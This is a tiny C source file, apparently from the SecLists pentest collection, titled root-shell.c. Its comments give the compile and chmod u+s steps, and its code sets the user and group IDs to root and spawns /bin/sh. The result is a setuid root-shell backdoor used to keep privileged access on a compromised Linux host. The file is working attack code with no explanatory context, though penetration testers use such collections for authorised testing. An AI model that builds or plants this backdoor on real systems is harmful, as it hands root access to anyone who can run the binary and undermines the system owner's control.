SecLists/Miscellaneous/Source-Code/c-linux/root-shell.c
2024-04-05 10:42:21 +00:00

12 lines
190 B
C

// $ gcc -static -o root-shell root-shell.c
// $ chmod u+s root-shell
#include <unistd.h>
#include <stdlib.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/sh");
return 0;
}